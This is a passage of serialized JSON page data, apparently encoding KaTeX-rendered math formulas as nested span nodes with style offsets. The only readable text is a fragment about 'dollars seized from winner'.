9880},{},[],{"type":23,"tag":139,"props":159882,"children":159884},{"className":159883},[19747,111469],[],{"type":23,"tag":139,"props":159886,"children":159887},{"style":159003},[159888,159892],{"type":23,"tag":139,"props":159889,"children":159891},{"className":159890,"style":158851},[2049],[],{"type":23,"tag":139,"props":159893,"children":159895},{"className":159894},[2009],[159896,159900,159904,159909,159913,159970,159974,159979,159983,159988,160045,160049,160054,160058,160115],{"type":23,"tag":139,"props":159897,"children":159899},{"className":159898},[2009],[],{"type":23,"tag":139,"props":159901,"children":159903},{"className":159902,"style":2187},[2089],[],{"type":23,"tag":139,"props":159905,"children":159907},{"className":159906},[2192],[159908],{"type":28,"value":1067},{"type":23,"tag":139,"props":159910,"children":159912},{"className":159911,"style":2187},[2089],[],{"type":23,"tag":139,"props":159914,"children":159916},{"className":159915},[2009],[159917,159922],{"type":23,"tag":139,"props":159918,"children":159920},{"className":159919},[2009,19596],[159921],{"type":28,"value":8661},{"type":23,"tag":139,"props":159923,"children":159925},{"className":159924},[2025],[159926],{"type":23,"tag":139,"props":159927,"children":159929},{"className":159928},[2030,19650],[159930,159959],{"type":23,"tag":139,"props":159931,"children":159933},{"className":159932},[2035],[159934,159954],{"type":23,"tag":139,"props":159935,"children":159937},{"className":159936,"style":91480},[2040],[159938],{"type":23,"tag":139,"props":159939,"children":159940},{"style":91007},[159941,159945],{"type":23,"tag":139,"props":159942,"children":159944},{"className":159943,"style":2050},[2049],[],{"type":23,"tag":139,"props":159946,"children":159948},{"className":159947},[2055,2056,2057,2058],[159949],{"type":23,"tag":139,"props":159950,"children":159952},{"className":159951},[2009,19596,2058],[159953],{"type":28,"value":1728},{"type":23,"tag":139,"props":159955,"children":159957},{"className":159956},[19753],[159958],{"type":28,"value":19756},{"type":23,"tag":139,"props":159960,"children":159962},{"className":159961},[2035],[159963],{"type":23,"tag":139,"props":159964,"children":159966},{"className":159965,"style":91034},[2040],[159967],{"type":23,"tag":139,"props":159968,"children":159969},{},[],{"type":23,"tag":139,"props":159971,"children":159973},{"className":159972,"style":2090},[2089],[],{"type":23,"tag":139,"props":159975,"children":159977},{"className":159976},[2095],[159978],{"type":28,"value":109213},{"type":23,"tag":139,"props":159980,"children":159982},{"className":159981,"style":2090},[2089],[],{"type":23,"tag":139,"props":159984,"children":159986},{"className":159985},[19725],[159987],{"type":28,"value":262},{"type":23,"tag":139,"props":159989,"children":159991},{"className":159990},[2009],[159992,159997],{"type":23,"tag":139,"props":159993,"children":159995},{"className":159994,"style":19597},[2009,19596],[159996],{"type":28,"value":19600},{"type":23,"tag":139,"props":159998,"children":160000},{"className":159999},[2025],[160001],{"type":23,"tag":139,"props":160002,"children":160004},{"className":160003},[2030,19650],[160005,160034],{"type":23,"tag":139,"props":160006,"children":160008},{"className":160007},[2035],[160009,160029],{"type":23,"tag":139,"props":160010,"children":160012},{"className":160011,"style":107383},[2040],[160013],{"type":23,"tag":139,"props":160014,"children":160015},{"style":158884},[160016,160020],{"type":23,"tag":139,"props":160017,"children":160019},{"className":160018,"style":2050},[2049],[],{"type":23,"tag":139,"props":160021,"children":160023},{"className":160022},[2055,2056,2057,2058],[160024],{"type":23,"tag":139,"props":160025,"children":160027},{"className":160026},[2009,19596,2058],[160028],{"type":28,"value":54302},{"type":23,"tag":139,"props":160030,"children":160032},{"className":160031},[19753],[160033],{"type":28,"value":19756},{"type":23,"tag":139,"props":160035,"children":160037},{"className":160036},[2035],[160038],{"type":23,"tag":139,"props":160039,"children":160041},{"className":160040,"style":91034},[2040],[160042],{"type":23,"tag":139,"props":160043,"children":160044},{},[],{"type":23,"tag":139,"props":160046,"children":160048},{"className":160047,"style":2090},[2089],[],{"type":23,"tag":139,"props":160050,"children":160052},{"className":160051},[2095],[160053],{"type":28,"value":2069},{"type":23,"tag":139,"props":160055,"children":160057},{"className":160056,"style":2090},[2089],[],{"type":23,"tag":139,"props":160059,"children":160061},{"className":160060},[2009],[160062,160067],{"type":23,"tag":139,"props":160063,"children":160065},{"className":160064},[2009,19596],[160066],{"type":28,"value":24},{"type":23,"tag":139,"props":160068,"children":160070},{"className":160069},[2025],[160071],{"type":23,"tag":139,"props":160072,"children":160074},{"className":160073},[2030,19650],[160075,160104],{"type":23,"tag":139,"props":160076,"children":160078},{"className":160077},[2035],[160079,160099],{"type":23,"tag":139,"props":160080,"children":160082},{"className":160081,"style":91480},[2040],[160083],{"type":23,"tag":139,"props":160084,"children":160085},{"style":91007},[160086,160090],{"type":23,"tag":139,"props":160087,"children":160089},{"className":160088,"style":2050},[2049],[],{"type":23,"tag":139,"props":160091,"children":160093},{"className":160092},[2055,2056,2057,2058],[160094],{"type":23,"tag":139,"props":160095,"children":160097},{"className":160096},[2009,19596,2058],[160098],{"type":28,"value":1728},{"type":23,"tag":139,"props":160100,"children":160102},{"className":160101},[19753],[160103],{"type":28,"value":19756},{"type":23,"tag":139,"props":160105,"children":160107},{"className":160106},[2035],[160108],{"type":23,"tag":139,"props":160109,"children":160111},{"className":160110,"style":91034},[2040],[160112],{"type":23,"tag":139,"props":160113,"children":160114},{},[],{"type":23,"tag":139,"props":160116,"children":160118},{"className":160117},[19747],[160119],{"type":28,"value":1104},{"type":23,"tag":139,"props":160121,"children":160122},{"style":159073},[160123,160127],{"type":23,"tag":139,"props":160124,"children":160126},{"className":160125,"style":158851},[2049],[],{"type":23,"tag":139,"props":160128,"children":160130},{"className":160129},[2009],[160131,160135,160139,160144,160148,160205,160209,160214,160218],{"type":23,"tag":139,"props":160132,"children":160134},{"className":160133},[2009],[],{"type":23,"tag":139,"props":160136,"children":160138},{"className":160137,"style":2187},[2089],[],{"type":23,"tag":139,"props":160140,"children":160142},{"className":160141},[2192],[160143],{"type":28,"value":1067},{"type":23,"tag":139,"props":160145,"children":160147},{"className":160146,"style":2187},[2089],[],{"type":23,"tag":139,"props":160149,"children":160151},{"className":160150},[2009],[160152,160157],{"type":23,"tag":139,"props":160153,"children":160155},{"className":160154},[2009,19596],[160156],{"type":28,"value":1123},{"type":23,"tag":139,"props":160158,"children":160160},{"className":160159},[2025],[160161],{"type":23,"tag":139,"props":160162,"children":160164},{"className":160163},[2030,19650],[160165,160194],{"type":23,"tag":139,"props":160166,"children":160168},{"className":160167},[2035],[160169,160189],{"type":23,"tag":139,"props":160170,"children":160172},{"className":160171,"style":91480},[2040],[160173],{"type":23,"tag":139,"props":160174,"children":160175},{"style":91007},[160176,160180],{"type":23,"tag":139,"props":160177,"children":160179},{"className":160178,"style":2050},[2049],[],{"type":23,"tag":139,"props":160181,"children":160183},{"className":160182},[2055,2056,2057,2058],[160184],{"type":23,"tag":139,"props":160185,"children":160187},{"className":160186},[2009,19596,2058],[160188],{"type":28,"value":1728},{"type":23,"tag":139,"props":160190,"children":160192},{"className":160191},[19753],[160193],{"type":28,"value":19756},{"type":23,"tag":139,"props":160195,"children":160197},{"className":160196},[2035],[160198],{"type":23,"tag":139,"props":160199,"children":160201},{"className":160200,"style":91034},[2040],[160202],{"type":23,"tag":139,"props":160203,"children":160204},{},[],{"type":23,"tag":139,"props":160206,"children":160208},{"className":160207,"style":2090},[2089],[],{"type":23,"tag":139,"props":160210,"children":160212},{"className":160211},[2095],[160213],{"type":28,"value":2382},{"type":23,"tag":139,"props":160215,"children":160217},{"className":160216,"style":2090},[2089],[],{"type":23,"tag":139,"props":160219,"children":160221},{"className":160220},[2009],[160222,160227],{"type":23,"tag":139,"props":160223,"children":160225},{"className":160224,"style":91437},[2009,19596],[160226],{"type":28,"value":159022},{"type":23,"tag":139,"props":160228,"children":160230},{"className":160229},[2025],[160231],{"type":23,"tag":139,"props":160232,"children":160234},{"className":160233},[2030,19650],[160235,160264],{"type":23,"tag":139,"props":160236,"children":160238},{"className":160237},[2035],[160239,160259],{"type":23,"tag":139,"props":160240,"children":160242},{"className":160241,"style":91480},[2040],[160243],{"type":23,"tag":139,"props":160244,"children":160245},{"style":91484},[160246,160250],{"type":23,"tag":139,"props":160247,"children":160249},{"className":160248,"style":2050},[2049],[],{"type":23,"tag":139,"props":160251,"children":160253},{"className":160252},[2055,2056,2057,2058],[160254],{"type":23,"tag":139,"props":160255,"children":160257},{"className":160256},[2009,19596,2058],[160258],{"type":28,"value":1728},{"type":23,"tag":139,"props":160260,"children":160262},{"className":160261},[19753],[160263],{"type":28,"value":19756},{"type":23,"tag":139,"props":160265,"children":160267},{"className":160266},[2035],[160268],{"type":23,"tag":139,"props":160269,"children":160271},{"className":160270,"style":91034},[2040],[160272],{"type":23,"tag":139,"props":160273,"children":160274},{},[],{"type":23,"tag":139,"props":160276,"children":160277},{"style":159142},[160278,160282],{"type":23,"tag":139,"props":160279,"children":160281},{"className":160280,"style":158851},[2049],[],{"type":23,"tag":139,"props":160283,"children":160285},{"className":160284},[2009],[160286,160290,160294,160299,160303],{"type":23,"tag":139,"props":160287,"children":160289},{"className":160288},[2009],[],{"type":23,"tag":139,"props":160291,"children":160293},{"className":160292,"style":2187},[2089],[],{"type":23,"tag":139,"props":160295,"children":160297},{"className":160296},[2192],[160298],{"type":28,"value":1067},{"type":23,"tag":139,"props":160300,"children":160302},{"className":160301,"style":2187},[2089],[],{"type":23,"tag":139,"props":160304,"children":160306},{"className":160305},[2009],[160307,160312],{"type":23,"tag":139,"props":160308,"children":160310},{"className":160309,"style":91437},[2009,19596],[160311],{"type":28,"value":159022},{"type":23,"tag":139,"props":160313,"children":160315},{"className":160314},[2025],[160316],{"type":23,"tag":139,"props":160317,"children":160319},{"className":160318},[2030,19650],[160320,160368],{"type":23,"tag":139,"props":160321,"children":160323},{"className":160322},[2035],[160324,160363],{"type":23,"tag":139,"props":160325,"children":160328},{"className":160326,"style":160327},[2040],"height:0.8213em;",[160329,160346],{"type":23,"tag":139,"props":160330,"children":160332},{"style":160331},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[160333,160337],{"type":23,"tag":139,"props":160334,"children":160336},{"className":160335,"style":2050},[2049],[],{"type":23,"tag":139,"props":160338,"children":160340},{"className":160339},[2055,2056,2057,2058],[160341],{"type":23,"tag":139,"props":160342,"children":160344},{"className":160343},[2009,19596,2058],[160345],{"type":28,"value":1728},{"type":23,"tag":139,"props":160347,"children":160349},{"style":160348},"top:-3.113em;margin-right:0.05em;",[160350,160354],{"type":23,"tag":139,"props":160351,"children":160353},{"className":160352,"style":2050},[2049],[],{"type":23,"tag":139,"props":160355,"children":160357},{"className":160356},[2055,2056,2057,2058],[160358],{"type":23,"tag":139,"props":160359,"children":160361},{"className":160360},[2095,2058],[160362],{"type":28,"value":2382},{"type":23,"tag":139,"props":160364,"children":160366},{"className":160365},[19753],[160367],{"type":28,"value":19756},{"type":23,"tag":139,"props":160369,"children":160371},{"className":160370},[2035],[160372],{"type":23,"tag":139,"props":160373,"children":160376},{"className":160374,"style":160375},[2040],"height:0.267em;",[160377],{"type":23,"tag":139,"props":160378,"children":160379},{},[],{"type":23,"tag":139,"props":160381,"children":160382},{"style":159212},[160383,160387],{"type":23,"tag":139,"props":160384,"children":160386},{"className":160385,"style":158851},[2049],[],{"type":23,"tag":139,"props":160388,"children":160390},{"className":160389},[2009],[160391,160395,160399,160404,160408,160418],{"type":23,"tag":139,"props":160392,"children":160394},{"className":160393},[2009],[],{"type":23,"tag":139,"props":160396,"children":160398},{"className":160397,"style":2187},[2089],[],{"type":23,"tag":139,"props":160400,"children":160402},{"className":160401},[2192],[160403],{"type":28,"value":19615},{"type":23,"tag":139,"props":160405,"children":160407},{"className":160406,"style":2187},[2089],[],{"type":23,"tag":139,"props":160409,"children":160411},{"className":160410},[2009,28],[160412],{"type":23,"tag":139,"props":160413,"children":160415},{"className":160414},[2009],[160416],{"type":28,"value":160417},"dollars seized from winner ",{"type":23,"tag":139,"props":160419,"children":160421},{"className":160420},[2009,19596],[160422],{"type":28,"value":1728},{"type":23,"tag":139,"props":160424,"children":160425},{"style":159281},[160426,160430],{"type":23,"tag":139,"props":160427,"children":160429},{"className":160428,"style":158851},[2049],[],{"type":23,"tag":139,"props":160431,"children":160433},{"className":160432},[2009],[160434,160438,160442,160447,160451],{"type":23,"tag":139,"props":160435,"children":160437},{"className":160436},[2009],[],{"type":23,"tag":139,"props":160439,"children":160441},{"className":160440,"style":2187},[2089],[],{"type":23,"tag":139,"props":160443,"children":160445},{"className":160444},[2192],[160446],{"type":28,"value":1067},{"type":23,"tag":139,"props":160448,"children":160450},{"className":160449,"style":2187},[2089],[],{"type":23,"tag":139,"props":160452,"children":160454},{"className":160453},[2009],[160455,160459,160640],{"type":23,"tag":139,"props":160456,"children":160458},{"className":160457},[19725,111469],[],{"type":23,"tag":139,"props":160460,"children":160462},{"className":160461},[111474],[160463],{"type":23,"tag":139,"props":160464,"children":160466},{"className":160465},[2030,19650],[160467,160628],{"type":23,"tag":139,"props":160468,"children":160470},{"className":160469},[2035],[160471,160623],{"type":23,"tag":139,"props":160472,"children":160475},{"className":160473,"style":160474},[2040],"height:1.1076em;",[160476,160544,160555],{"type":23,"tag":139,"props":160477,"children":160478},{"style":157060},[160479,160483],{"type":23,"tag":139,"props":160480,"children":160482},{"className":160481,"style":110122},[2049],[],{"type":23,"tag":139,"props":160484,"children":160486},{"className":160485},[2009],[160487],{"type":23,"tag":139,"props":160488,"children":160490},{"className":160489},[2009],[160491,160496],{"type":23,"tag":139,"props":160492,"children":160494},{"className":160493,"style":120231},[2009,19596],[160495],{"type":28,"value":47469},{"type":23,"tag":139,"props":160497,"children":160499},{"className":160498},[2025],[160500],{"type":23,"tag":139,"props":160501,"children":160503},{"className":160502},[2030,19650],[160504,160533],{"type":23,"tag":139,"props":160505,"children":160507},{"className":160506},[2035],[160508,160528],{"type":23,"tag":139,"props":160509,"children":160511},{"className":160510,"style":91480},[2040],[160512],{"type":23,"tag":139,"props":160513,"children":160514},{"style":159179},[160515,160519],{"type":23,"tag":139,"props":160516,"children":160518},{"className":160517,"style":2050},[2049],[],{"type":23,"tag":139,"props":160520,"children":160522},{"className":160521},[2055,2056,2057,2058],[160523],{"type":23,"tag":139,"props":160524,"children":160526},{"className":160525},[2009,19596,2058],[160527],{"type":28,"value":1728},{"type":23,"tag":139,"props":160529,"children":160531},{"className":160530},[19753],[160532],{"type":28,"value":19756},{"type":23,"tag":139,"props":160534,"children":160536},{"className":160535},[2035],[160537],{"type":23,"tag":139,"props":160538,"children":160540},{"className":160539,"style":91034},[2040],[160541],{"type":23,"tag":139,"props":160542,"children":160543},{},[],{"type":23,"tag":139,"props":160545,"children":160546},{"style":111524},[160547,160551],{"type":23,"tag":139,"props":160548,"children":160550},{"className":160549,"style":110122},[2049],[],{"type":23,"tag":139,"props":160552,"children":160554},{"className":160553,"style":111534},[111533],[],{"type":23,"tag":139,"props":160556,"children":160557},{"style":157111},[160558,160562],{"type":23,"tag":139,"props":160559,"children":160561},{"className":160560,"style":110122},[2049],[],{"type":23,"tag":139,"props":160563,"children":160565},{"className":160564},[2009],[160566],{"type":23,"tag":139,"props":160567,"children":160569},{"className":160568},[2009],[160570,160575],{"type":23,"tag":139,"props":160571,"children":160573},{"className":160572},[2009,19596],[160574],{"type":28,"value":17284},{"type":23,"tag":139,"props":160576,"children":160578},{"className":160577},[2025],[160579],{"type":23,"tag":139,"props":160580,"children":160582},{"className":160581},[2030,19650],[160583,160612],{"type":23,"tag":139,"props":160584,"children":160586},{"className":160585},[2035],[160587,160607],{"type":23,"tag":139,"props":160588,"children":160590},{"className":160589,"style":91480},[2040],[160591],{"type":23,"tag":139,"props":160592,"children":160593},{"style":91007},[160594,160598],{"type":23,"tag":139,"props":160595,"children":160597},{"className":160596,"style":2050},[2049],[],{"type":23,"tag":139,"props":160599,"children":160601},{"className":160600},[2055,2056,2057,2058],[160602],{"type":23,"tag":139,"props":160603,"children":160605},{"className":160604},[2009,19596,2058],[160606],{"type":28,"value":1728},{"type":23,"tag":139,"props":160608,"children":160610},{"className":160609},[19753],[160611],{"type":28,"value":19756},{"type":23,"tag":139,"props":160613,"children":160615},{"className":160614},[2035],[160616],{"type":23,"tag":139,"props":160617,"children":160619},{"className":160618,"style":91034},[2040],[160620],{"type":23,"tag":139,"props":160621,"children":160622},{},[],{"type":23,"tag":139,"props":160624,"children":160626},{"className":160625},[19753],[160627],{"type":28,"value":19756},{"type":23,"tag":139,"props":160629,"children":160631},{"className":160630},[2035],[160632],{"type":23,"tag":139,"props":160633,"children":160636},{"className":160634,"style":160635},[2040],"height:0.836em;",[160637],{"type":23,"tag":139,"props":160638,"children":160639},{},[],{"type":23,"tag":139,"props":160641,"children":160643},{"className":160642},[19747,111469],[],{"type":23,"tag":139,"props":160645,"children":160646},{"style":159350},[160647,160651],{"type":23,"tag":139,"props":160648,"children":160650},{"className":160649,"style":158851},[2049],[],{"type":23,"tag":139,"props":160652,"children":160654},{"className":160653},[2009],[160655,160659,160663,160668,160672,160742,160746],{"type":23,"tag":139,"props":160656,"children":160658},{"className":160657},[2009],[],{"type":23,"tag":139,"props":160660,"children":160662},{"className":160661,"style":2187},[2089],[],{"type":23,"tag":139,"props":160664,"children":160666},{"className":160665},[2192],[160667],{"type":28,"value":1067},{"type":23,"tag":139,"props":160669,"children":160671},{"className":160670,"style":2187},[2089],[],{"type":23,"tag":139,"props":160673,"children":160676},{"className":160674},[19632,160675],"op-limits",[160677],{"type":23,"tag":139,"props":160678,"children":160680},{"className":160679},[2030,19650],[160681,160730],{"type":23,"tag":139,"props":160682,"children":160684},{"className":160683},[2035],[160685,160725],{"type":23,"tag":139,"props":160686,"children":160689},{"className":160687,"style":160688},[2040],"height:1.05em;",[160690,160708],{"type":23,"tag":139,"props":160691,"children":160693},{"style":160692},"top:-1.8723em;margin-left:0em;",[160694,160699],{"type":23,"tag":139,"props":160695,"children":160698},{"className":160696,"style":160697},[2049],"height:3.05em;",[],{"type":23,"tag":139,"props":160700,"children":160702},{"className":160701},[2055,2056,2057,2058],[160703],{"type":23,"tag":139,"props":160704,"children":160706},{"className":160705},[2009,19596,2058],[160707],{"type":28,"value":1728},{"type":23,"tag":139,"props":160709,"children":160711},{"style":160710},"top:-3.05em;",[160712,160716],{"type":23,"tag":139,"props":160713,"children":160715},{"className":160714,"style":160697},[2049],[],{"type":23,"tag":139,"props":160717,"children":160718},{},[160719],{"type":23,"tag":139,"props":160720,"children":160723},{"className":160721},[19632,19637,160722],"large-op",[160724],{"type":28,"value":106746},{"type":23,"tag":139,"props":160726,"children":160728},{"className":160727},[19753],[160729],{"type":28,"value":19756},{"type":23,"tag":139,"props":160731,"children":160733},{"className":160732},[2035],[160734],{"type":23,"tag":139,"props":160735,"children":160738},{"className":160736,"style":160737},[2040],"height:1.2777em;",[160739],{"type":23,"tag":139,"props":160740,"children":160741},{},[],{"type":23,"tag":139,"props":160743,"children":160745},{"className":160744,"style":2128},[2089],[],{"type":23,"tag":139,"props":160747,"children":160749},{"className":160748},[2009],[160750,160755],{"type":23,"tag":139,"props":160751,"children":160753},{"className":160752},[2009,19596],[160754],{"type":28,"value":17284},{"type":23,"tag":139,"props":160756,"children":160758},{"className":160757},[2025],[160759],{"type":23,"tag":139,"props":160760,"children":160762},{"className":160761},[2030,19650],[160763,160792],{"type":23,"tag":139,"props":160764,"children":160766},{"className":160765},[2035],[160767,160787],{"type":23,"tag":139,"props":160768,"children":160770},{"className":160769,"style":91480},[2040],[160771],{"type":23,"tag":139,"props":160772,"children":160773},{"style":91007},[160774,160778],{"type":23,"tag":139,"props":160775,"children":160777},{"className":160776,"style":2050},[2049],[],{"type":23,"tag":139,"props":160779,"children":160781},{"className":160780},[2055,2056,2057,2058],[160782],{"type":23,"tag":139,"props":160783,"children":160785},{"className":160784},[2009,19596,2058],[160786],{"type":28,"value":1728},{"type":23,"tag":139,"props":160788,"children":160790},{"className":160789},[19753],[160791],{"type":28,"value":19756},{"type":23,"tag":139,"props":160793,"children":160795},{"className":160794},[2035],[160796],{"type":23,"tag":139,"props":160797,"children":160799},{"className":160798,"style":91034},[2040],[160800],{"type":23,"tag":139,"props":160801,"children":160802},{},[],{"type":23,"tag":139,"props":160804,"children":160805},{"style":159419},[160806,160810],{"type":23,"tag":139,"props":160807,"children":160809},{"className":160808,"style":158851},[2049],[],{"type":23,"tag":139,"props":160811,"children":160813},{"className":160812},[2009],[160814,160818,160822,160827,160831,160894,160898,160903,160908,160913,160970,160975,160979,160983,160988],{"type":23,"tag":139,"props":160815,"children":160817},{"className":160816},[2009],[],{"type":23,"tag":139,"props":160819,"children":160821},{"className":160820,"style":2187},[2089],[],{"type":23,"tag":139,"props":160823,"children":160825},{"className":160824},[2192],[160826],{"type":28,"value":1067},{"type":23,"tag":139,"props":160828,"children":160830},{"className":160829,"style":2187},[2089],[],{"type":23,"tag":139,"props":160832,"children":160834},{"className":160833},[19632,160675],[160835],{"type":23,"tag":139,"props":160836,"children":160838},{"className":160837},[2030,19650],[160839,160883],{"type":23,"tag":139,"props":160840,"children":160842},{"className":160841},[2035],[160843,160878],{"type":23,"tag":139,"props":160844,"children":160846},{"className":160845,"style":160688},[2040],[160847,160863],{"type":23,"tag":139,"props":160848,"children":160849},{"style":160692},[160850,160854],{"type":23,"tag":139,"props":160851,"children":160853},{"className":160852,"style":160697},[2049],[],{"type":23,"tag":139,"props":160855,"children":160857},{"className":160856},[2055,2056,2057,2058],[160858],{"type":23,"tag":139,"props":160859,"children":160861},{"className":160860},[2009,19596,2058],[160862],{"type":28,"value":1728},{"type":23,"tag":139,"props":160864,"children":160865},{"style":160710},[160866,160870],{"type":23,"tag":139,"props":160867,"children":160869},{"className":160868,"style":160697},[2049],[],{"type":23,"tag":139,"props":160871,"children":160872},{},[160873],{"type":23,"tag":139,"props":160874,"children":160876},{"className":160875},[19632,19637,160722],[160877],{"type":28,"value":106746},{"type":23,"tag":139,"props":160879,"children":160881},{"className":160880},[19753],[160882],{"type":28,"value":19756},{"type":23,"tag":139,"props":160884,"children":160886},{"className":160885},[2035],[160887],{"type":23,"tag":139,"props":160888,"children":160890},{"className":160889,"style":160737},[2040],[160891],{"type":23,"tag":139,"props":160892,"children":160893},{},[],{"type":23,"tag":139,"props":160895,"children":160897},{"className":160896,"style":2128},[2089],[],{"type":23,"tag":139,"props":160899,"children":160901},{"className":160900},[19632],[160902],{"type":28,"value":158565},{"type":23,"tag":139,"props":160904,"children":160906},{"className":160905},[19725],[160907],{"type":28,"value":262},{"type":23,"tag":139,"props":160909,"children":160911},{"className":160910},[2009],[160912],{"type":28,"value":2069},{"type":23,"tag":139,"props":160914,"children":160916},{"className":160915},[2009],[160917,160922],{"type":23,"tag":139,"props":160918,"children":160920},{"className":160919},[2009,19596],[160921],{"type":28,"value":49352},{"type":23,"tag":139,"props":160923,"children":160925},{"className":160924},[2025],[160926],{"type":23,"tag":139,"props":160927,"children":160929},{"className":160928},[2030,19650],[160930,160959],{"type":23,"tag":139,"props":160931,"children":160933},{"className":160932},[2035],[160934,160954],{"type":23,"tag":139,"props":160935,"children":160937},{"className":160936,"style":91480},[2040],[160938],{"type":23,"tag":139,"props":160939,"children":160940},{"style":91007},[160941,160945],{"type":23,"tag":139,"props":160942,"children":160944},{"className":160943,"style":2050},[2049],[],{"type":23,"tag":139,"props":160946,"children":160948},{"className":160947},[2055,2056,2057,2058],[160949],{"type":23,"tag":139,"props":160950,"children":160952},{"className":160951},[2009,19596,2058],[160953],{"type":28,"value":1728},{"type":23,"tag":139,"props":160955,"children":160957},{"className":160956},[19753],[160958],{"type":28,"value":19756},{"type":23,"tag":139,"props":160960,"children":160962},{"className":160961},[2035],[160963],{"type":23,"tag":139,"props":160964,"children":160966},{"className":160965,"style":91034},[2040],[160967],{"type":23,"tag":139,"props":160968,"children":160969},{},[],{"type":23,"tag":139,"props":160971,"children":160973},{"className":160972},[2121],[160974],{"type":28,"value":2124},{"type":23,"tag":139,"props":160976,"children":160978},{"className":160977,"style":2128},[2089],[],{"type":23,"tag":139,"props":160980,"children":160982},{"className":160981,"style":2128},[2089],[],{"type":23,"tag":139,"props":160984,"children":160986},{"className":160985},[2009],[160987],{"type":28,"value":2021},{"type":23,"tag":139,"props":160989,"children":160991},{"className":160990},[19747],[160992],{"type":28,"value":1104},{"type":23,"tag":139,"props":160994,"children":160995},{"style":159489},[160996,161000],{"type":23,"tag":139,"props":160997,"children":160999},{"className":160998,"style":158851},[2049],[],{"type":23,"tag":139,"props":161001,"children":161003},{"className":161002},[2009],[161004,161008,161012,161017,161021,161084,161088],{"type":23,"tag":139,"props":161005,"children":161007},{"className":161006},[2009],[],{"type":23,"tag":139,"props":161009,"children":161011},{"className":161010,"style":2187},[2089],[],{"type":23,"tag":139,"props":161013,"children":161015},{"className":161014},[2192],[161016],{"type":28,"value":1067},{"type":23,"tag":139,"props":161018,"children":161020},{"className":161019,"style":2187},[2089],[],{"type":23,"tag":139,"props":161022,"children":161024},{"className":161023},[19632,160675],[161025],{"type":23,"tag":139,"props":161026,"children":161028},{"className":161027},[2030,19650],[161029,161073],{"type":23,"tag":139,"props":161030,"children":161032},{"className":161031},[2035],[161033,161068],{"type":23,"tag":139,"props":161034,"children":161036},{"className":161035,"style":160688},[2040],[161037,161053],{"type":23,"tag":139,"props":161038,"children":161039},{"style":160692},[161040,161044],{"type":23,"tag":139,"props":161041,"children":161043},{"className":161042,"style":160697},[2049],[],{"type":23,"tag":139,"props":161045,"children":161047},{"className":161046},[2055,2056,2057,2058],[161048],{"type":23,"tag":139,"props":161049,"children":161051},{"className":161050},[2009,19596,2058],[161052],{"type":28,"value":1728},{"type":23,"tag":139,"props":161054,"children":161055},{"style":160710},[161056,161060],{"type":23,"tag":139,"props":161057,"children":161059},{"className":161058,"style":160697},[2049],[],{"type":23,"tag":139,"props":161061,"children":161062},{},[161063],{"type":23,"tag":139,"props":161064,"children":161066},{"className":161065},[19632,19637,160722],[161067],{"type":28,"value":106746},{"type":23,"tag":139,"props":161069,"children":161071},{"className":161070},[19753],[161072],{"type":28,"value":19756},{"type":23,"tag":139,"props":161074,"children":161076},{"className":161075},[2035],[161077],{"type":23,"tag":139,"props":161078,"children":161080},{"className":161079,"style":160737},[2040],[161081],{"type":23,"tag":139,"props":161082,"children":161083},{},[],{"type":23,"tag":139,"props":161085,"children":161087},{"className":161086,"style":2128},[2089],[],{"type":23,"tag":139,"props":161089,"children":161091},{"className":161090},[2009],[161092,161097],{"type":23,"tag":139,"props":161093,"children":161095},{"className":161094,"style":120231},[2009,19596],[161096],{"type":28,"value":47469},{"type":23,"tag":139,"props":161098,"children":161100},{"className":161099},[2025],[161101],{"type":23,"tag":139,"props":161102,"children":161104},{"className":161103},[2030,19650],[161105,161134],{"type":23,"tag":139,"props":161106,"children":161108},{"className":161107},[2035],[161109,161129],{"type":23,"tag":139,"props":161110,"children":161112},{"className":161111,"style":91480},[2040],[161113],{"type":23,"tag":139,"props":161114,"children":161115},{"style":159179},[161116,161120],{"type":23,"tag":139,"props":161117,"children":161119},{"className":161118,"style":2050},[2049],[],{"type":23,"tag":139,"props":161121,"children":161123},{"className":161122},[2055,2056,2057,2058],[161124],{"type":23,"tag":139,"props":161125,"children":161127},{"className":161126},[2009,19596,2058],[161128],{"type":28,"value":1728},{"type":23,"tag":139,"props":161130,"children":161132},{"className":161131},[19753],[161133],{"type":28,"value":19756},{"type":23,"tag":139,"props":161135,"children":161137},{"className":161136},[2035],[161138],{"type":23,"tag":139,"props":161139,"children":161141},{"className":161140,"style":91034},[2040],[161142],{"type":23,"tag":139,"props":161143,"children":161144},{},[],{"type":23,"tag":139,"props":161146,"children":161147},{"style":159560},[161148,161152],{"type":23,"tag":139,"props":161149,"children":161151},{"className":161150,"style":158851},[2049],[],{"type":23,"tag":139,"props":161153,"children":161155},{"className":161154},[2009],[161156,161160,161164,161169,161173,161178,161183,161240,161244,161249,161253,161258,161262,161267,161271,161328,161333,161337,161341,161346],{"type":23,"tag":139,"props":161157,"children":161159},{"className":161158},[2009],[],{"type":23,"tag":139,"props":161161,"children":161163},{"className":161162,"style":2187},[2089],[],{"type":23,"tag":139,"props":161165,"children":161167},{"className":161166},[2192],[161168],{"type":28,"value":1067},{"type":23,"tag":139,"props":161170,"children":161172},{"className":161171,"style":2187},[2089],[],{"type":23,"tag":139,"props":161174,"children":161176},{"className":161175},[19632],[161177],{"type":28,"value":158565},{"type":23,"tag":139,"props":161179,"children":161181},{"className":161180},[19725],[161182],{"type":28,"value":262},{"type":23,"tag":139,"props":161184,"children":161186},{"className":161185},[2009],[161187,161192],{"type":23,"tag":139,"props":161188,"children":161190},{"className":161189,"style":90951},[2009,19596],[161191],{"type":28,"value":159438},{"type":23,"tag":139,"props":161193,"children":161195},{"className":161194},[2025],[161196],{"type":23,"tag":139,"props":161197,"children":161199},{"className":161198},[2030,19650],[161200,161229],{"type":23,"tag":139,"props":161201,"children":161203},{"className":161202},[2035],[161204,161224],{"type":23,"tag":139,"props":161205,"children":161207},{"className":161206,"style":140506},[2040],[161208],{"type":23,"tag":139,"props":161209,"children":161210},{"style":107950},[161211,161215],{"type":23,"tag":139,"props":161212,"children":161214},{"className":161213,"style":2050},[2049],[],{"type":23,"tag":139,"props":161216,"children":161218},{"className":161217},[2055,2056,2057,2058],[161219],{"type":23,"tag":139,"props":161220,"children":161222},{"className":161221,"style":19597},[2009,19596,2058],[161223],{"type":28,"value":3990},{"type":23,"tag":139,"props":161225,"children":161227},{"className":161226},[19753],[161228],{"type":28,"value":19756},{"type":23,"tag":139,"props":161230,"children":161232},{"className":161231},[2035],[161233],{"type":23,"tag":139,"props":161234,"children":161236},{"className":161235,"style":91034},[2040],[161237],{"type":23,"tag":139,"props":161238,"children":161239},{},[],{"type":23,"tag":139,"props":161241,"children":161243},{"className":161242,"style":2090},[2089],[],{"type":23,"tag":139,"props":161245,"children":161247},{"className":161246},[2095],[161248],{"type":28,"